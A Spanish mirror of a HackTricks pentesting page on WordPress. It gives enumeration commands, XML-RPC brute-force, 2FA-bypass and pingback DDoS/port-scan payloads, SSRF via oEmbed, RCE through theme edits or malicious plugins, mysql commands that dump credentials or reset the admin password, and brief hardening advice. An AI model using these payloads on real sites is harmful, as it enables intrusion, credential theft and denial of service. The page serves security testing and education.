mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-07 10:48:52 +00:00
430 lines
21 KiB
Markdown
430 lines
21 KiB
Markdown
# Wordpress
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Información Básica
|
|
|
|
Los archivos **subidos** van a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
|
|
Los archivos de **temas se pueden encontrar en /wp-content/themes/,** así que si cambias algo de php del tema para obtener RCE probablemente usarás esa ruta. Por ejemplo: Usando el **tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
|
|
**Otra url útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
En **wp-config.php** puedes encontrar la contraseña de root de la base de datos.
|
|
|
|
Rutas de inicio de sesión predeterminadas para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
|
|
|
### **Archivos Principales de WordPress**
|
|
|
|
* `index.php`
|
|
* `license.txt` contiene información útil como la versión de WordPress instalada.
|
|
* `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
|
|
* Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
|
|
* `/wp-admin/login.php`
|
|
* `/wp-admin/wp-login.php`
|
|
* `/login.php`
|
|
* `/wp-login.php`
|
|
* `xmlrpc.php` es un archivo que representa una característica de WordPress que permite la transmisión de datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
|
|
* La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas.
|
|
* `wp-content/uploads/` Es el directorio donde se almacenan los archivos subidos a la plataforma.
|
|
* `wp-includes/` Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
|
|
* `wp-sitemap.xml` En las versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo XML de mapa del sitio con todos los posts públicos y tipos de post y taxonomías consultables públicamente.
|
|
|
|
**Post-explotación**
|
|
|
|
* El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para la resolución de problemas.
|
|
|
|
### Permisos de Usuarios
|
|
|
|
* **Administrador**
|
|
* **Editor**: Publica y gestiona sus posts y los de otros
|
|
* **Autor**: Publica y gestiona sus propios posts
|
|
* **Colaborador**: Escribe y gestiona sus posts pero no puede publicarlos
|
|
* **Suscriptor**: Navega por los posts y edita su perfil
|
|
|
|
## **Enumeración Pasiva**
|
|
|
|
### **Obtener versión de WordPress**
|
|
|
|
Verifica si puedes encontrar los archivos `/license.txt` o `/readme.html`
|
|
|
|
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
|
|
|
* grep
|
|
```bash
|
|
curl https://victim.com/ | grep 'content="WordPress'
|
|
```
|
|
* `meta name`
|
|
|
|
![](<../../.gitbook/assets/image (343).png>)
|
|
|
|
* Archivos de enlace CSS
|
|
|
|
![](<../../.gitbook/assets/image (344).png>)
|
|
|
|
* Archivos JavaScript
|
|
|
|
![](<../../.gitbook/assets/image (346).png>)
|
|
|
|
### Obtener Plugins
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
### Obtener Temas
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
### Extracción de versiones en general
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
|
|
```
|
|
{% endcode %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Enumeración activa
|
|
|
|
### Plugins y Temas
|
|
|
|
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, necesitarás **fuerza bruta activa en una lista de Plugins y Temas** (afortunadamente para nosotros hay herramientas automatizadas que contienen estas listas).
|
|
|
|
### Usuarios
|
|
|
|
**Fuerza Bruta de ID**
|
|
|
|
Puedes obtener usuarios válidos de un sitio WordPress mediante Fuerza Bruta de IDs de usuarios:
|
|
```
|
|
curl -s -I -X GET http://blog.example.com/?author=1
|
|
```
|
|
Si las respuestas son **200** o **30X**, eso significa que el id es **válido**. Si la respuesta es **400**, entonces el id es **inválido**.
|
|
|
|
**wp-json**
|
|
|
|
También puedes intentar obtener información sobre los usuarios consultando:
|
|
```
|
|
curl http://blog.example.com/wp-json/wp/v2/users
|
|
```
|
|
Otro punto final `/wp-json/` que puede revelar información sobre los usuarios es:
|
|
```
|
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
|
```
|
|
Tenga en cuenta que este punto final solo expone a los usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen esta característica habilitada**.
|
|
|
|
También tenga en cuenta que **/wp-json/wp/v2/pages** podría exponer direcciones IP.
|
|
|
|
#### Enumeración de nombre de usuario de inicio de sesión
|
|
|
|
Al iniciar sesión en **`/wp-login.php`** el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**.
|
|
|
|
### XML-RPC
|
|
|
|
Si `xml-rpc.php` está activo, puede realizar un fuerza bruta de credenciales o usarlo para lanzar ataques DoS a otros recursos. (Puede automatizar este proceso [usando esto](https://github.com/relarizky/wpxploit), por ejemplo).
|
|
|
|
Para ver si está activo, intente acceder a _**/xmlrpc.php**_ y envíe esta solicitud:
|
|
|
|
**Verificar**
|
|
```markup
|
|
<methodCall>
|
|
<methodName>system.listMethods</methodName>
|
|
<params></params>
|
|
</methodCall>
|
|
```
|
|
**Fuerza Bruta de Credenciales**
|
|
|
|
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden utilizar para realizar fuerza bruta en las credenciales. Si encuentras alguno de ellos, puedes enviar algo como:
|
|
```markup
|
|
<methodCall>
|
|
<methodName>wp.getUsersBlogs</methodName>
|
|
<params>
|
|
<param><value>admin</value></param>
|
|
<param><value>pass</value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
El mensaje _"Incorrect username or password"_ dentro de una respuesta con código 200 debería aparecer si las credenciales no son válidas.
|
|
|
|
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
|
|
|
|
![](<../../.gitbook/assets/image (102).png>)
|
|
|
|
Usando las credenciales correctas puedes subir un archivo. En la respuesta aparecerá la ruta ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
|
```markup
|
|
<?xml version='1.0' encoding='utf-8'?>
|
|
<methodCall>
|
|
<methodName>wp.uploadFile</methodName>
|
|
<params>
|
|
<param><value><string>1</string></value></param>
|
|
<param><value><string>username</string></value></param>
|
|
<param><value><string>password</string></value></param>
|
|
<param>
|
|
<value>
|
|
<struct>
|
|
<member>
|
|
<name>name</name>
|
|
<value><string>filename.jpg</string></value>
|
|
</member>
|
|
<member>
|
|
<name>type</name>
|
|
<value><string>mime/type</string></value>
|
|
</member>
|
|
<member>
|
|
<name>bits</name>
|
|
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
|
</member>
|
|
</struct>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
También hay una **forma más rápida** de forzar bruscamente las credenciales usando **`system.multicall`** ya que puedes intentar varias credenciales en la misma solicitud:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Evitar 2FA**
|
|
|
|
Este método está pensado para programas y no para humanos, y es antiguo, por lo tanto no soporta 2FA. Entonces, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **podrías ser capaz de abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías ser capaz de llegar a RCE como Ippsec lo explica en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
|
|
|
|
**DDoS o escaneo de puertos**
|
|
|
|
Si puedes encontrar el método _**pingback.ping**_ dentro de la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.\
|
|
Esto puede ser usado para pedir a **miles** de sitios de Wordpress que **accedan** a una **ubicación** (causando así un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** haga un **escaneo** de alguna **red interna** (puedes indicar cualquier puerto).
|
|
```markup
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params><param>
|
|
<value><string>http://<YOUR SERVER >:<port></string></value>
|
|
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
|
</value></param></params>
|
|
</methodCall>
|
|
```
|
|
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
|
|
|
|
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
|
|
|
|
Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
|
|
|
|
**DDoS**
|
|
```markup
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params>
|
|
<param><value><string>http://target/</string></value></param>
|
|
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
### wp-cron.php DoS
|
|
|
|
Este archivo generalmente existe en la raíz del sitio de Wordpress: **`/wp-cron.php`**\
|
|
Cuando se **accede** a este archivo, se realiza una **consulta** MySQL "**pesada**", por lo que podría ser utilizado por **atacantes** para **causar** un **DoS**.\
|
|
Además, por defecto, el `wp-cron.php` se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
|
|
|
|
Se recomienda desactivar Wp-Cron y crear un cronjob real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).
|
|
|
|
### /wp-json/oembed/1.0/proxy - SSRF
|
|
|
|
Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio de Worpress puede hacer una solicitud hacia ti.
|
|
|
|
Esta es la respuesta cuando no funciona:
|
|
|
|
![](<../../.gitbook/assets/image (184) (1).png>)
|
|
|
|
### SSRF
|
|
|
|
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
|
|
|
|
Esta herramienta verifica si el **methodName: pingback.ping** y para la ruta **/wp-json/oembed/1.0/proxy** existen, y si es así, intenta explotarlos.
|
|
|
|
### Herramientas Automáticas
|
|
```bash
|
|
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Obtén acceso sobrescribiendo un bit
|
|
|
|
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías cambiar 1 bit de cualquier archivo de wordpress. Así que podrías cambiar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para anular la operación NOT (`!`).
|
|
```php
|
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
|
return new WP_Error(
|
|
```
|
|
## **Panel RCE**
|
|
|
|
**Modificación de un archivo php del tema utilizado (se necesitan credenciales de administrador)**
|
|
|
|
Apariencia → Editor de Temas → Plantilla 404 (a la derecha)
|
|
|
|
Cambiar el contenido por un shell php:
|
|
|
|
![](<../../.gitbook/assets/image (21) (1) (1).png>)
|
|
|
|
Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
### MSF
|
|
|
|
Puedes usar:
|
|
```
|
|
use exploit/unix/webapp/wp_admin_shell_upload
|
|
```
|
|
para obtener una sesión.
|
|
|
|
## Plugin RCE
|
|
|
|
### Plugin PHP
|
|
|
|
Puede ser posible subir archivos .php como un plugin.\
|
|
Crea tu backdoor php usando, por ejemplo:
|
|
|
|
![](<../../.gitbook/assets/image (407).png>)
|
|
|
|
Luego añade un nuevo plugin:
|
|
|
|
![](<../../.gitbook/assets/image (409).png>)
|
|
|
|
Sube el plugin y presiona Instalar Ahora:
|
|
|
|
![](<../../.gitbook/assets/image (411).png>)
|
|
|
|
Haz clic en Proceder:
|
|
|
|
![](<../../.gitbook/assets/image (412).png>)
|
|
|
|
Probablemente esto no hará nada aparentemente, pero si vas a Medios, verás tu shell subido:
|
|
|
|
![](<../../.gitbook/assets/image (413).png>)
|
|
|
|
Accede y verás la URL para ejecutar el shell inverso:
|
|
|
|
![](<../../.gitbook/assets/image (414).png>)
|
|
|
|
### Subiendo y activando plugin malicioso
|
|
|
|
**(Esta parte está copiada de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
|
|
|
|
A veces los usuarios con sesión iniciada no tienen autorización para escribir y hacer modificaciones en el tema de WordPress, por lo que elegimos "Inyectar plugin malicioso WP" como una estrategia alternativa para adquirir un web shell.
|
|
|
|
Entonces, una vez que tienes acceso al tablero de WordPress, puedes intentar instalar un plugin malicioso. Aquí ya he descargado el plugin vulnerable de exploit db.
|
|
|
|
Haz clic [**aquí**](https://www.exploit-db.com/exploits/36374) para descargar el plugin para practicar.
|
|
|
|
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
|
|
|
|
Ya que tenemos el archivo zip del plugin, ahora es momento de subir el plugin.
|
|
|
|
Tablero > plugins > subir plugin
|
|
|
|
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
|
|
|
|
Explora el archivo zip descargado como se muestra.
|
|
|
|
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
|
|
|
|
Una vez que el paquete se instala con éxito, necesitamos activar el plugin.
|
|
|
|
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
|
|
|
|
Cuando todo está bien configurado, entonces procede a explotar. Ya que hemos instalado el plugin vulnerable llamado "reflex-gallery" y es fácilmente explotable.
|
|
|
|
Encontrarás el exploit para esta vulnerabilidad dentro del framework de Metasploit y así carga el siguiente módulo y ejecuta el siguiente comando:
|
|
|
|
Una vez ejecutados los comandos anteriores, tendrás tu sesión de meterpreter. Tal como se muestra en este artículo, hay múltiples métodos para explotar un sitio web basado en WordPress.
|
|
|
|
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
|
|
|
|
## Post Explotación
|
|
|
|
Extraer nombres de usuario y contraseñas:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
|
```
|
|
Cambio de contraseña de administrador:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
|
```
|
|
## Protección de WordPress
|
|
|
|
### Actualizaciones Regulares
|
|
|
|
Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
|
|
```bash
|
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
|
add_filter( 'auto_update_plugin', '__return_true' );
|
|
add_filter( 'auto_update_theme', '__return_true' );
|
|
```
|
|
También, **solo instala plugins y temas de WordPress confiables**.
|
|
|
|
### Plugins de Seguridad
|
|
|
|
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
|
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
|
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
|
|
|
### **Otras Recomendaciones**
|
|
|
|
* Elimina el usuario **admin** por defecto
|
|
* Usa **contraseñas fuertes** y **2FA**
|
|
* Revisa periódicamente los **permisos** de los usuarios
|
|
* **Limita los intentos de inicio de sesión** para prevenir ataques de Fuerza Bruta
|
|
* Renombra el archivo **`wp-admin.php`** y solo permite acceso internamente o desde ciertas direcciones IP.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
|
Obtén Acceso Hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|